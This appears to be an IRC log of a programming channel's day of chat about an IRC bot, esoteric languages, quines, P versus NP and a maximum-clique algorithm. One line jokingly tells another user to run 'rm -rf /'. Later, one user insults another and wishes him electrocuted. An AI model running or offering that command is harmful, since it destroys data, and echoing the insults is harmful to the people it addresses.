03:26:39 <Gregor> Ohnowait, there's also C to throttle guest programs.
03:26:45 <Gregor> But it's unnecessary.
03:27:37 <Gregor> Basically, it's multibot (a very simple IRC bot) with some shell scripts that bind that to plash.
03:27:45 <Gregor> The shell scripts are about 175 lines.
03:27:59 <Gregor> Multibot is about 200 lines.
03:28:25 <uorygl> So does HackBot do anything with repositories?
03:29:10 <Gregor> Yeah, basic same idea has Hackiki, but all in shell.
03:31:26 <uorygl> So there's a bit of functionality overlap but no code overlap.
03:31:27 <Gregor> Wow, worst wording ever.
03:31:30 <Gregor> Yes.
03:31:38 <Gregor> Yeah, basically same idea as Hackiki, but all in shell.
03:32:33 <uorygl> I guess I should look at one or the other.
03:32:52 <Gregor> Hackiki is more recent.
03:34:13 <pikhq> uorygl: rm -rf /
03:34:38 <uorygl> pikhq: Permission denied
03:35:46 <oerjan> it's not fair!
03:36:52 <uorygl> It's very fair.
03:37:28 <oerjan> but it discriminates against evil people!
03:41:38 <uorygl> No it doesn't.
03:41:44 <uorygl> Evil people have the same rights as non-evil people.
03:41:55 <uorygl> Just like how gay people have the same rights as straight people.
03:42:12 <oerjan> but it prevents evil actions!
03:42:22 <uorygl> But it doesn't prevent evil people!
03:42:30 <uorygl> So, no discrimination.
03:42:43 <oerjan> that would be like saying that gay people have the same right as anyone to have sex, as long as it is with the opposite sex
03:42:49 <uorygl> Precisely!
03:43:06 <oerjan> and that would _clearly_ be discrimination.
03:43:52 <uorygl> If we said gay people are only allowed to have gay sex and straight people are only allowed to have straight sex, THAT would be discrimination.
03:44:22 <oerjan> well i'm not asking for evil people to only be able to do evil actions here, am i?
03:44:33 <oerjan> after all that would make deception hard
03:44:39 <uorygl> Well, no.
03:45:14 -!- Oranjer has left (?).
03:57:52 * uorygl ponders what he wants in this awesome nomic thing.
03:58:04 <coppro> Agora
03:58:12 <coppro> the answer is always Agora
03:58:21 <uorygl> Agora isn't even a codenomic!
03:59:08 -!- deschutron has joined.
03:59:10 -!- coppro has quit (Remote host closed the connection).
03:59:51 -!- coppro has joined.
04:14:45 -!- coppro has changed nick to SeanHunt.
04:14:55 -!- SeanHunt has changed nick to coppro.
04:58:35 -!- charlls has joined.
05:10:03 <uorygl> `run echo "My name is overloaded; I'll have to kick someone off" | sha256sum
05:10:04 <HackEgo> 2912b1f1f1301a0d4e14416e07d7a56bee0522e7b423cde610909f5191b9bd3e -
05:10:16 <uorygl> `run echo -n "My name is overloaded; I'll have to kick someone off" | sha256sum
05:10:17 <HackEgo> caaf3e65344624e7659aaf228f62f93faae680f71adc868a6f8da880388b12f9 -
05:17:43 -!- ssu has joined.
05:38:05 -!- deschutron has quit (Ping timeout: 245 seconds).
05:38:57 -!- ssu has quit (Quit: Ex-Chat).
05:40:00 -!- deschutron has joined.
05:59:31 <coppro> ffff
05:59:55 <coppro> how the fuck is this guy a schoolteacher
06:07:13 <pikhq> coppro: ?
06:07:31 <coppro> some guy on an open-source project I also work on
06:07:35 <coppro> I refuse to say we work together
06:07:36 <coppro> because we don
06:07:38 <pikhq> Mmm.
06:07:38 <coppro> *don't
06:09:47 -!- oerjan has quit (Quit: So does he give you too much homework?).
06:42:24 -!- augur has joined.
07:22:16 -!- adu has joined.
07:37:03 -!- rodgort has quit (Ping timeout: 240 seconds).
07:43:44 -!- rodgort has joined.
07:46:24 -!- pikhq has quit (Read error: Connection reset by peer).
07:59:19 -!- tombom has joined.
07:59:21 -!- tombom has quit (Changing host).
07:59:21 -!- tombom has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:06:54 -!- pikhq has joined.
08:08:38 -!- FireFly has joined.
08:27:02 -!- kar8nga has joined.
08:27:45 -!- kar8nga has quit (Remote host closed the connection).
08:42:48 -!- adu has quit (Quit: adu).
08:49:29 -!- tombom has quit (Quit: Leaving).
08:59:33 -!- MigoMipo has joined.
09:23:06 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
10:08:54 -!- lereah_ has joined.
10:22:56 * oklopol tries out coppro's patented conversational tactics
10:23:02 <oklopol> lol, i can't believe this dude!
10:23:14 <coppro> hey, that's my intellectual property there
10:23:15 <oklopol> i can't believe i just witnessed that...
10:23:45 <oklopol> sorry
10:31:22 <coppro> :P
10:31:48 <coppro> I just enjoy venting my frustrations, excitements, and other things into this channel
10:33:15 <coppro> also, apparently, going to be 4 hours before I wake up :/
10:33:41 -!- tehz has joined.
10:34:18 <tehz> not much going on here?
10:35:03 <coppro> correct
10:35:11 <tehz> thought so.
10:35:23 <tehz> cya
10:35:25 -!- tehz has quit (Client Quit).
10:41:30 <oklopol> :D
10:42:04 <oklopol> venting frustrations is okay, i just like BULLYING PEOPLE.
10:42:18 <oklopol> gotta go hear this lecture thing now
10:58:27 -!- TehZ has joined.
10:58:33 -!- TehZ has quit (Client Quit).
10:58:53 -!- TehZ has joined.
10:59:07 <TehZ> If you are bored, you could take a look at lolcode
10:59:11 <TehZ> its funny
11:00:41 <TehZ> Im making a programming language with .:,;'"* as its only characters
11:00:57 <TehZ> a Object Oriented programming language
11:01:34 <TehZ> either 1: Much chatlag or 2: nobody's on
11:01:51 -!- TehZ has quit (Client Quit).
11:10:28 -!- ztirf4 has joined.
11:13:20 -!- TehZ has joined.
11:13:44 <TehZ> So, which languages have u ppl made?
11:13:55 <lereah_> Lazy Bird
11:14:03 <lereah_> And the Love Machine 9000
11:14:08 <lereah_> (also called NTCM)
11:14:16 <TehZ> Checking them out
11:14:18 -!- TehZ has quit (Client Quit).
11:14:41 -!- TehZ has joined.
11:14:51 <TehZ> Cant connect to the wiki right now
11:15:15 <TehZ> Well, i made Reversible-2D
11:15:25 -!- TehZ has quit (Client Quit).
11:15:42 -!- TehZ has joined.
11:15:50 <TehZ> right now, my browser is stupid
11:16:34 <lereah_> Use mIRC
11:16:37 <lereah_> Or something
11:16:53 <TehZ> I didnt see that one in google chrome plugin page
11:17:42 <lereah_> It is not a plugin
11:17:53 <TehZ> Isnt it? Google searching
11:17:55 -!- TehZ has quit (Client Quit).
11:18:31 -!- TehZ has joined.
11:18:35 <TehZ> Found it, installing
11:18:36 -!- TehZ has quit (Client Quit).
11:22:06 -!- magari has joined.
11:22:10 * magari enters
11:23:03 <lereah_> Hello
11:23:25 -!- TehZ has joined.
11:23:37 <TehZ> Couldnt get mirc to work
11:23:48 <TehZ> any ideas for a programming language?
11:24:09 <lereah_> Yeah
11:24:18 <TehZ> k, what?
11:24:44 <TehZ> chatlag?
11:24:58 <lereah_> http://esolangs.org/wiki/Limp
11:25:03 -!- TehZ has quit (Client Quit).
11:25:11 <lereah_> Never implemented it :3
11:25:16 -!- TehZ has joined.
11:25:19 <TehZ> Checking it out
11:25:21 -!- TehZ has quit (Client Quit).
11:26:42 -!- TehZ has joined.
11:26:44 <TehZ> uhmm
11:27:01 <TehZ> i dont understand that language....
11:28:08 <lereah_> It's just a bunch of functional languages
11:28:08 <TehZ> It is nearly as unreadable as my unfinished (and unpublished) language; DotsOO
11:28:41 <TehZ> Uhm, do you live in europe or usa?
11:28:49 <lereah_> Europe.
11:28:52 <TehZ> cauz this chatlag is irritating
11:28:58 <TehZ> im in europe too
11:29:34 <TehZ> Either the server is slow, the server is in USA, or both.
11:30:19 <TehZ> Do you feel like there is chatlag too?
11:30:46 <lereah_> No.
11:30:55 <TehZ> Really?
11:31:13 <lereah_> How do you know there's chatlag?
11:31:26 <TehZ> it takes a long time to get an answer
11:31:30 <TehZ> really long
11:31:42 <lereah_> It may be that I don't anszer right away
11:31:50 <TehZ> k
11:32:06 <TehZ> lets test it: I write Test, and you answer with Test, k?
11:32:31 <TehZ> Test
11:32:40 <magari> irc clients have ping functions for a reason
11:32:55 <TehZ> im a little new to IRC
11:33:41 <TehZ> you ping by doing what?
11:34:01 <magari> depends on the client
11:34:02 <lereah_> Right click
11:34:13 <lereah_> Look at the menu
11:34:21 <magari> 04:57 [ctcp!TehZ] PING 1268737056 202884
11:34:21 <magari> 04:57 CTCP PING reply from TehZ: 0.514 seconds
11:34:27 <magari> /ping user
11:34:35 <magari> thats really quick
11:34:38 <TehZ> k
11:34:39 <magari> and I'm in the US
11:34:45 <magari> well
11:34:47 <magari> my client is
11:34:54 <magari> my terminal is in afghanistan
11:35:12 <TehZ> omg
11:35:42 <TehZ> Europe -> afghanistan -> Usa -> afghanistan -> Europe?
11:37:15 <TehZ> maybe i should continue working on DotsOO
11:37:44 <magari> uh...
11:37:51 <TehZ> what?
11:37:52 <magari> depends on the freenode server your connected to
11:38:00 <TehZ> maybe
11:38:09 <TehZ> cya
11:38:09 <magari> it does
11:38:13 -!- TehZ has quit (Quit: Page closed).
11:40:54 -!- magari has quit (Quit: leaving).
11:42:18 -!- FireFly has quit (Quit: Leaving).
11:44:45 -!- comex has quit (Ping timeout: 245 seconds).
11:45:00 -!- puzzlet has quit (Changing host).
11:45:00 -!- puzzlet has joined.
11:48:57 -!- ztirf4 has quit (Quit: Nettalk6 - www.ntalk.de).
12:35:15 -!- ais523 has joined.
12:59:02 -!- MizardX has joined.
14:03:20 -!- sebbu has quit (Quit: reboot).
14:32:24 -!- sebbu has joined.
14:35:37 -!- charlls has quit (Ping timeout: 264 seconds).
14:46:37 -!- oerjan has joined.
14:52:35 -!- deschutron has left (?).
15:21:10 -!- puzzlet has quit (Quit: leaving).
15:32:11 -!- BeholdMyGlory has joined.
15:46:48 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
15:58:45 <AnMaster> fizzie, another panorama soon, for this one I balanced the mobile phone on an armrest and rotated it around that point, result is that it is a fairly "boring" 180° panorama of a corridor.
16:00:07 * AnMaster is resuming the laptop with the photos and hugin project on from sleep atm
16:00:18 -!- oerjan has quit (Quit: Later).
16:21:08 -!- charlls has joined.
16:21:49 -!- comex has joined.
16:31:14 -!- FireFly has joined.
17:16:35 <uorygl> Hang it by a thread from the ceiling!
17:32:23 <AnMaster> uorygl, what? the phone?
17:32:28 <uorygl> Yes.
17:32:37 <AnMaster> uorygl, the images are low quality anyway
17:33:14 <AnMaster> anyway, doing photometric optimisation atm
17:33:17 <AnMaster> that might take a while
17:42:02 -!- oklopol has quit (Ping timeout: 248 seconds).
17:57:42 -!- lereah_ has quit (Remote host closed the connection).
17:59:33 <augur> quick!
17:59:37 <augur> someone who knows about compsci!
17:59:41 <augur> i need your assisstance!
18:01:20 -!- fax has joined.
18:02:04 <ais523> augur: issue?
18:02:20 <augur> i need test graphs that have known maximum cliques
18:02:30 <augur> so i can test a maximum clique algorithm
18:02:39 <ais523> hmm, that's not the area of compsci that I work in, unfortunately
18:02:46 <ais523> does the web not help?
18:02:57 <fax> are they hard to generate?
18:02:58 <augur> no :(
18:03:10 <augur> fax: finding the max clique of a graph is NP complete
18:03:22 <fax> so? :/
18:03:35 <augur> so its hard!
18:03:38 <ais523> hmm, if a problem is NP, its reverse is normally P
18:03:42 <ais523> by definition
18:03:44 * fax doesn't see how you got that
18:03:50 <ais523> but it rather depends on what "reverse" means
18:03:51 <augur> NP complete is hard!
18:04:07 <ais523> besides, even exponential algorithms can run quickly on small enough data sets
18:04:38 <augur> true, but i need it to run on large graphs :)
18:05:11 <augur> with upwards of 5000 words
18:05:18 <augur> maybe even 10000! or 100000!
18:05:26 <augur> not factorial, mind you.
18:05:40 <fax> though nurikabe is NP and generating puzzles for that is hard
18:05:47 <fax> and making sokoban puzzles is an art
18:05:58 <augur> i'd make _your_ sokoban puzzle
18:06:01 <augur> if you know what i mean
18:06:02 <augur> ;o ;o ;o
18:06:48 <ais523> fax: generating random Sokoban puzzles is something I'm interested in myself
18:06:49 <augur> i need test graphs tho
18:07:05 <augur> so satisfy to myself that i havent just proven that P = NP
18:07:05 <augur> :P
18:07:10 <ais523> not necessarily particularly good ones, but they can't be trivial
18:07:20 <ais523> augur: do you have a P-time algo, or think you do?
18:07:34 <ais523> it's probably easier to poke holes in the algo by looking at it than by trying to create test graphs
18:07:49 <augur> its P on complete graphs up to 300 nodes, or so it looks
18:07:59 <augur> i _dont_ know if its P on non-complete graphs.
18:08:04 <ais523> maximum clique for complete graphs is easy
18:08:11 <augur> true ;)
18:08:15 <fax> ais523, I make a game called 'multiban', which is sokoban with n-players (over the internet)
18:08:19 <augur> its especially easy if you know its a complete graph!
18:08:25 <augur> but i dont assume that it is.
18:08:32 <augur> the question is what its runtime is on non-complete graphs
18:08:55 <fax> it's great fun because the game really is about collective thought -- but you run out of levels quickly :(
18:09:01 <augur> and since theres a LOT of graphs with n nodes, this is not an easy thing for me to check
18:09:17 <augur> infact, theres like
18:09:26 <augur> what 2^(n^2) graphs with n nodes?
18:09:44 <augur> adjacency matrix is n^2, and each of the cells can be filled or not, so 2^(n^2)
18:10:14 <augur> or 2^(0.5 n^2) if you require that the graph is undirected
18:10:53 <ais523> anyway, here's a test case from Wikipedia: abcdaedfecfgbfega
18:11:03 <ais523> (I take it you're familiar with Eodermdrome graph notation?)
18:11:13 <augur> no
18:11:25 <fax> :O
18:11:33 <ais523> but this is #esoteric!
18:11:38 <fax> OH MY GOD THIS IS AWESOME
18:11:41 <ais523> http://esolangs.org/wiki/eodermdrome
18:11:42 <fax> http://esolangs.org/wiki/Eodermdrome
18:11:44 <fax> hehee
18:11:45 <augur> yes im there now :P
18:11:58 -!- tombom has joined.
18:11:58 <augur> you're so narcisistic, ais523 :P
18:12:15 <ais523> I'm not entirely sure if I translated it properly from the Wikipedia article, but it's so much easier to send over IRC than trying to send a graph normally
18:12:26 <augur> can you give this graph to me in non-eodermdrome notation? :P
18:12:36 * fax how to pronounce Eodermdrome
18:12:59 <augur> or is it just that adjacency in the string = adjacency in the graph?
18:13:05 * ais523 pronounces it "E. O. derm drome"
18:13:07 <ais523> augur: that's it
18:13:09 <augur> ok
18:13:22 <ais523> I've only ever seen the word written, though
18:13:49 <ais523> it was originally coined in a wordplay book, to try to create a minimal-length word that lead to a nonplanar graph
18:18:01 <augur> ais523: i presume this graph is not directed, yes?
18:18:08 <ais523> yep, undirected
18:18:16 <augur> ok
18:20:28 <augur> btw, which graph is this that you found? like, where is it on the wiki page
18:20:43 <ais523> top-right corner
18:20:51 <ais523> on http://en.wikipedia.org/wiki/Special:Search?go=Go&search=Clique_problem
18:20:57 <augur> oh ok, the bluedots one
18:21:08 <augur> wheres it say this is known to be hard?
18:21:19 <ais523> the graph? or the problem?
18:21:24 <augur> the graph
18:21:57 <ais523> it isn't known to be hard; it's just known to have a maximum clique of 4
18:22:08 <ais523> and that's what you asked for
18:22:15 <ais523> graphs with known maximum cliques
18:22:19 <augur> oh. no i need lots of test cases tho :p
18:22:57 <ais523> generate them at random? by definition, you can test if an answer to an NP-complete problem is correct in P-time
18:23:00 <augur> not just _one_ but lots of them, with lots nodes, so i can test the algorithm
18:23:27 <augur> i dont know how to generate these things at random.
18:23:36 <fax> augur, why don't you just prove the algorithm correct?
18:23:38 <ais523> graphs? that's trivial
18:23:41 <augur> i dont know how to, fax!
18:23:52 <augur> ais523: well, i could generate _graphs_ at random
18:24:03 <fax> did you just implement a random algorithm them realize it solves an NP problem in P? :)))
18:24:05 <augur> but i need to make sure that the algorithm isnt just hitting easy graphs
18:24:29 <AnMaster> fizzie, there are a few seems, but way less than in the one yesterday. Some image data at the edges is cut, and a few tiny (5x10 pixels or so) holes along some edges was filled in in gimp) http://omploader.org/vM3VvNA
18:24:31 <augur> no, i implemented the algorithm intended to solve one problem, and then a prof at the school pointed out that it seems to be solving the maximum clique problem
18:24:54 <augur> so its not a _random_ algorithm
18:24:54 <augur> :p
18:25:25 <fax> hmm
18:25:26 <ais523> augur: why don't you just show us the algorithm, and we can find flaws in it / show it isn't P-time?
18:25:46 <augur> but then you'll steal my discovery! D:
18:25:48 <ais523> if it really did solve the maximum clique problem in P-time, your prof would have claimed the money for himself already
18:25:51 <AnMaster> fizzie, irritatingly enblend placed the seam over that door so a blurry image of it was included. There is another sharper image of it..
18:25:59 <augur> i didnt show him the algorithm
18:26:03 <augur> just the description of the original problem
18:26:10 <augur> i havent mentioned that i think its PTIME.
18:26:14 <augur> im not _that_ stupid
18:26:21 <augur> "lol i proved P = NP 8D"
18:26:23 * fax decided that
18:27:03 <augur> ill show you guys the algo when i get back. i have to go pick up some cookies.
18:27:11 <augur> be back in an hour or two
18:27:12 <augur> <3
18:27:25 <AnMaster> strange, getting to the cookie jar taking that long
18:27:42 <augur> no, these cookies were delivered
18:27:44 <fax> augur is in no rush
18:27:56 <AnMaster> huh
18:27:57 <augur> and are sitting in a UPS depot in Laurel, MD
18:28:02 <AnMaster> I hate UPS
18:28:09 <AnMaster> bbl
18:28:12 <augur> http://www.cherylandco.com/ << this kind. gooood cookies.
18:28:13 <fax> wow augur, it must be hard to get cookies where you are
18:28:24 <augur> yeah
18:28:25 <augur> its...
18:28:25 <uorygl> They weren't delivered very well.
18:28:26 <augur> P HARD
18:28:28 <augur> 8D
18:28:37 <fax> lol
18:28:45 <uorygl> PSPACE-hard.
18:28:58 <augur> shut your face you ruined my joke
18:29:05 <ais523> PSPACE-complete is the bounded equivalent of TC, isn't it?
18:29:19 <AnMaster> cookie jar hard?
18:29:21 <uorygl> Something like that.
18:29:24 <AnMaster> bbl really
18:29:38 <uorygl> There was a paper titled "Sokoban is PSPACE-complete" that essentially showed that you can make a Sokoban computer.
18:29:58 <uorygl> Yay, my computer is PSPACE-complete. :P
18:30:15 <ais523> uorygl: strangely, someone linked me to that a few days ago
18:31:26 <uorygl> Speaking of linking to stuff: http://www.jaapsch.net/puzzles/
18:31:52 <uorygl> Jaap
18:31:59 <uorygl> Jaap's Puzzle Page, the most important page ever.
18:32:56 <ais523> uorygl: because?
18:33:23 <uorygl> Well, it isn't really.
18:34:14 <ais523> augur: anyway, write a P-time algorithm for checking if an alleged clique is in fact maximal
18:34:54 <ais523> (that's easy: check all subsets of the graph that are one element larger than the alleged clique to see if they're cliqued; that's P-time with a rather horrible exponent)
18:35:30 <fax> 7"the most important page ever" lol
18:38:46 <ais523> hmm, what complexity class is finding a maximal cycle in a graph?
18:38:55 <uorygl> Little did fax know that eir subconscious had begun counting down to eir death. Eir next typo will involve the number 6.
18:41:33 * fax terabytes oowriggle
18:46:50 -!- ais523 has quit (Remote host closed the connection).
19:07:57 -!- hiato has joined.
19:08:44 <hiato> Hey all, got a new esolang, and I'm struggling to write a quine in it. Does a language have to be TC to have quines?
19:09:05 <Deewiant> HQ9+ has quines and isn't TC
19:09:17 <hiato> But that is a language feature. Ok, non-trivial quines
19:09:41 <uorygl> Still no.
19:09:42 <Deewiant> Probably not, but I can't prove it.
19:09:57 <fax> hiato new esao lang?
19:09:57 <uorygl> Take any language with a quine. Figure out how much memory it uses. Restrict it to that much memory.
19:10:03 <hiato> Ok, cool, then I guess it's programmer error here :P
19:10:16 <hiato> uorygl: Right, but that requires a quine to reduce the memory
19:10:23 <hiato> fax: yep, I'll upload the spec now :)
19:10:24 <Deewiant> Well, that doesn't imply that your language has quines
19:10:37 <pikhq> No, but I seem to recall a proof that a TC language with output capabilities sufficient to output itself must have a quine.
19:10:56 <fax> it's pretty much one quine that you can rewrite into whatever language
19:11:12 <uorygl> hiato: well, the language with the memory restricted, which is not TC, still has a quine.
19:11:15 <hiato> there was something about fix point thereom, but I can't remember what it meant or why it was important
19:11:30 <uorygl> So, a non-TC language with a non-trivial quine.
19:11:49 <hiato> uorygl: well, memory isn't really the issue here, it's string stuff and delimeters, actually, only delimeters
19:11:56 * uorygl shrugs.
19:12:00 <pikhq> C has quines, and C is not TC.
19:12:10 <uorygl> Heh, lovely C.
19:12:31 <hiato> pikhq: right, but it can easily operate on strings, and it has the augmented print function %c, %i etc
19:12:42 <fax> C is not TC?
19:12:56 <pikhq> fax: Mandated finite memory.
19:13:08 * hiato thinks it's probably best to keep quite about this now, sign, C again
19:13:28 <hiato> fax: there was that "discussion" under bit-bit-jump
19:13:37 <hiato> iirc
19:15:34 <pikhq> fax: Pointers must be a multiple-of-char size. A char must have a bound, and that bound must be storable in a char. Thus, C has finite memory. QED.
19:18:25 <hiato> http://dpaste.com/172601/
19:18:30 <fax> http://www.jaapsch.net/puzzles/morph.htm
19:18:48 <hiato> sorry, the explanation is terrible, but the source should clear it up
19:21:39 <hiato> the problem is that # (as a string, so as to avoid execution) needs to be escaped viz., :# Then, : needs to be escaped and it's a horrible route from there on in
19:24:02 <hiato> unless I'm going about it in the wrong manner, and perhaps the stack should hold individual tokens instead of strings
19:24:06 -!- TehZ has joined.
19:24:28 <TehZ> No chat? :(
19:24:50 <pikhq> 何?
19:24:51 <augur> heyo
19:25:03 <pikhq> それが本当にチャネルだ!
19:25:07 <TehZ> "何?"??????
19:25:16 <pikhq> Sorry.
19:25:21 <TehZ> np
19:25:27 <pikhq> Switching from Japanese manga to English chatroom = possible confusion.
19:25:28 <pikhq> :P
19:25:41 <fax> uorygl uragirl?
19:25:57 <fax> I have to find some puzzles for you
19:25:58 <augur> ok who wants to see my little algo now?
19:26:16 <uorygl> What, people manage to make that mistake even with this spelling of my name? :P
19:26:45 <uorygl> la uorygl nakni
19:27:00 -!- TehZ has quit (Client Quit).
19:27:01 <fizzie> AnMaster: That's a very long-looking corridor.
19:28:23 <AnMaster> fizzie, it is very long
19:29:08 * hiato cannot believe someone would have the time to do this http://en.wikipedia.org/wiki/Tupper%27s_self-referential_formula
19:29:30 <AnMaster> fizzie, to the right it continues for another, wider, "section" like the one I took the photo in.
19:29:38 <AnMaster> err
19:29:40 <AnMaster> not wider, longer
19:29:42 <AnMaster> I meant
19:31:25 <hiato> well, it seems that Quine -> TC may not hold, but TC -> quine does : "By the fixed point theorems in logic, such a program exists in any Turing-complete language in which printing..."
19:31:43 <AnMaster> * hiato cannot believe someone would have the time to do this http://en.wikipedia.org/wiki/Tupper%27s_self-referential_formula <--- .... wow...
19:32:10 <hiato> AnMaster: Yep, I'm still picking my jaw up. I mean, I knew you could do relations, but encoding bitmaps?
19:32:27 <AnMaster> hiato, well, plotting relations is common.
19:32:33 <fax> uorygl, http://www.youtube.com/watch?v=ONYN8yAEfpA http://www.youtube.com/watch?v=uzgnpf2URhQ http://upload.wikimedia.org/wikipedia/en/4/42/Haberdasher-anm-01.gif
19:32:34 <AnMaster> well, not as common as functions
19:32:35 <AnMaster> bbl
19:35:48 <uorygl> I'll use the fact that I'm unimpressed by Tupper's self-referential formula as a status symbol. :P
19:36:09 <fax> how can you not be impressed by that? Do you know how to make it?
19:36:26 <uorygl> More or less.
19:36:58 <fax> i guess it's basically a less elegant and 2D version of godels beta function...
19:38:42 <fax> oh! "The formula was first published in his 2001 SIGGRAPH paper that discusses methods related to the GrafEq formula-graphing program he developed."
19:38:48 <fax> I learned taylor series from this program
19:41:41 <fax> uorygl did you see the links I gave you
19:45:49 <fax> :[
19:47:15 <augur> guys
19:47:29 <augur> should i use haskellish notation for my algorithm, even tho its written impertively?
19:55:14 <hiato> augur, I'm not sure that makes terribly that much sense to me
19:55:29 <augur> :p
19:55:32 * hiato ok, that is how not to write a sentence
19:55:40 <hiato> (mine that is)
19:56:28 <hiato> and augur, what is exactly is your algorithm?
19:57:06 <augur> a relativized maximal clique algo
19:57:36 <hiato> right. sure it is. does it make coffee? otheriwse I would say your deltas are off a tad
19:58:30 <uorygl> Relativized, you say?
20:00:28 <augur> yes
20:00:31 <augur> relativized.
20:00:48 <augur> that is, the largest clique that some node is in
20:00:58 <augur> not the largest clique in the graph but just the largest clique a given node is in
20:01:11 <uorygl> Couldn't you find that by dropping the node and all the nodes it's not connected to?
20:03:45 <fax> uorygl?!??!?!?!?
20:04:12 <fax> geez I went and looked it up in my book for you and you're just ignoring me
20:06:26 <fax> wanker
20:08:44 <fax> uorygl fuck you
20:08:55 <augur> uorygl: no, because that doesnt mean that they form a clique
20:10:36 <augur> uorygl: http://wellnowwhat.net/linguistics/node-relative%20maximal%20clique.pdf
20:10:37 -!- jcp has joined.
20:12:29 <fax> don't youknow it's rude to ignore people
20:13:19 <augur> i need to go buy some spraypaint. bbiaf guys <3
20:13:29 <uorygl> I mean by doing that and then finding the maximal clique of the result.
20:13:37 <augur> ey?
20:13:58 <augur> oh, you mean taking the subgraph of G that contains the node and all its neighbors
20:14:11 <augur> (and thus all the edges that only include those neighbors)
20:14:28 <augur> and then finding the maximum clique in that?
20:14:35 <uorygl> The subgraph that contains the node's neighbors only, not the node itself.
20:14:43 <augur> that still doesnt guarantee it, because the biggest clique in that might not include the node itself
20:14:58 * fax wonders how uorygl leaned to be such a bastard
20:15:05 <augur> no but it must, right
20:15:10 <augur> sure then i guess that would work
20:15:18 <augur> if you included the node, crucially
20:15:20 <uorygl> Surely any clique in that can be extended to include the node itself.
20:15:28 <augur> right
20:15:34 <augur> anyway, check out the algo while im off doing stuff
20:15:36 <augur> see ya <3
20:20:01 -!- augur has quit (Ping timeout: 264 seconds).
20:20:37 -!- Slereah has quit (Ping timeout: 264 seconds).
20:24:20 -!- comex has changed nick to comex_.
20:24:21 -!- comex_ has changed nick to comex.
20:24:33 -!- comex has changed nick to comex_.
20:24:35 -!- comex_ has changed nick to comex.
20:26:12 -!- Slereah has joined.
20:32:16 <AnMaster> fizzie, any such corridors at your university btw?
20:32:32 -!- Gracenotes has quit (Quit: Leaving).
20:33:42 <fizzie> I guess the main building corridors look a bit like that, though not quite that.. how should I put it, open.
20:34:32 <AnMaster> fizzie, I think the eqvirectangular (?) projection is partly to blame for that
20:35:10 <AnMaster> equirectangular that is
20:35:17 <AnMaster> (just checked the spelling)
20:35:42 <AnMaster> fizzie, not that cylindrical projection looks much better, and rectilinear is just not feasible with that fov
20:38:37 <AnMaster> fizzie, according to hugin I have ~185° fov
20:39:24 <AnMaster> fizzie, actually more (214), but not all was usable
20:41:29 <AnMaster> (not usable, as in photo ends up looking not very nice due to corridor not being in "center")
20:41:49 <AnMaster> (oh and all there was to see was the power cable to my laptop lying over a table basically
20:41:53 <AnMaster> )
20:42:32 <AnMaster> some day I should try to take a 360° panorama
20:42:43 <AnMaster> also I wonder if that really is a degree sign, or if it is a ^0...
20:43:30 <AnMaster> hm... °⁰ well degree sign I guess
20:44:09 <AnMaster> hey, am I holding a monologue or something?
20:44:11 * AnMaster prods fizzie
20:44:38 <fizzie> I'm sort of a bit away here.
20:44:55 <fizzie> I'd photograph places at the university, but I don't want to do it when there are people there.
20:45:03 <AnMaster> true
20:45:13 <AnMaster> fizzie, btw fish eye looks funny
20:45:18 <AnMaster> tried that projection?
20:45:38 <AnMaster> stereographic actually seems to kind of work for this...
20:57:47 -!- augur has joined.
21:01:43 -!- Phantom_Hoover has joined.
21:01:50 <Phantom_Hoover> a
21:01:52 -!- Phantom_Hoover has quit (Client Quit).
21:10:13 <augur> uorygl: hey
21:10:36 <uorygl> Ahoy.
21:10:53 <augur> sup
21:11:04 <uorygl> Not much.
21:11:06 <fax> uorygl is a twerp
21:11:13 <augur> true
21:11:23 <fax> he can go stick it up himself
21:11:32 <augur> hot
21:13:33 * uorygl disassembles a pen and screws a TRS size adapter onto one of the parts.
21:14:31 <uorygl> I imagine that in my younger days, I would have expected to be able to do that, plug it into an amplifier, and sing into the tip of the pen, and hear my voice coming through the amplifier.
21:14:53 <fax> uorygl I hope yu get electrocuted
21:29:19 -!- Ilari_ has joined.
21:30:54 -!- Ilari has quit (Quit: "Address/window change").
21:30:54 -!- Ilari_ has changed nick to Ilari.
21:47:35 <augur> well uorygl? is my algorithm awesome or not? 8D
21:51:05 -!- Phantom_Hoover has joined.
21:59:16 -!- hiato has quit (Quit: underflow).
22:14:56 <Phantom_Hoover> Has nothing really happened for 25 minutes?
22:15:36 <Slereah> butt
22:15:46 <Phantom_Hoover> What?
22:15:49 <Slereah> butt
22:20:32 -!- johsam1 has joined.
22:20:59 -!- johsam1 has left (?).
22:28:49 -!- Phantom_Hoover has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838]).
22:32:02 <AnMaster> * uorygl disassembles a pen and screws a TRS size adapter onto one of the parts. <-- TRS?
22:32:39 <AnMaster> <fax> uorygl I hope yu get electrocuted <-- why?
22:35:03 <fax> because he ignored me
22:35:29 <fax> he linked to some puzzles site so I tried to show him my favorite puzzles but he just completely ignored me, why would someone do that? It's so horrible
22:43:22 <AnMaster> huh
22:43:27 <AnMaster> fax, maybe he missed it?
22:51:04 -!- Ilari has quit (Quit: Reconnecting).
22:51:12 -!- Ilari has joined.
22:57:04 <uorygl> AnMaster: tip-ring-sleeve, consumer audio connectors.
22:57:53 -!- comex has left (?).
23:05:03 <AnMaster> uorygl, ?
23:05:04 <augur> uorygl: ouch. im doing some tests on random graphs, and the time complexity seems to be exponential :(
23:05:12 <augur> its _fast_ but its exponential
23:05:14 <AnMaster> ah
23:06:13 -!- werdan7 has quit (Ping timeout: 619 seconds).
23:07:21 <augur> :(
23:07:27 <augur> and i had thought i'd done it! D:
23:08:25 <uorygl> Proven P = NP?
23:08:34 <augur> hell yeah bitch
23:13:51 -!- werdan7 has joined.
23:17:44 -!- comex has joined.
23:29:50 <AnMaster> augur, I doubt P=NP is the case
23:29:56 <augur> ;)
23:29:57 <augur> still!
23:30:00 <AnMaster> there seems to be nothing that points in that direction
23:30:36 <AnMaster> augur, what I find more likely is than P=NP is that P!=NP but that is unprovable. (Of course it could be unprovable if it is unprovable or not...)
23:32:13 -!- fax has quit (Ping timeout: 260 seconds).
23:32:52 -!- BeholdMyGlory has quit (Read error: Connection reset by peer).
23:33:20 <lament> it's provable.. it's just very, very hard to prove.
23:33:26 <lament> ...exponentially hard
23:33:29 <augur> oh yeah? prove it.
23:33:32 <augur> 8D
23:34:15 <augur> actually, this is interesting, the graphs that seem to be taking the longest to calculate are the ones that are very nearly complete, but those are _easy_ when just run by themselves. so i might be actually hitting computational randomness in the calculation times
23:34:16 -!- coppro has joined.
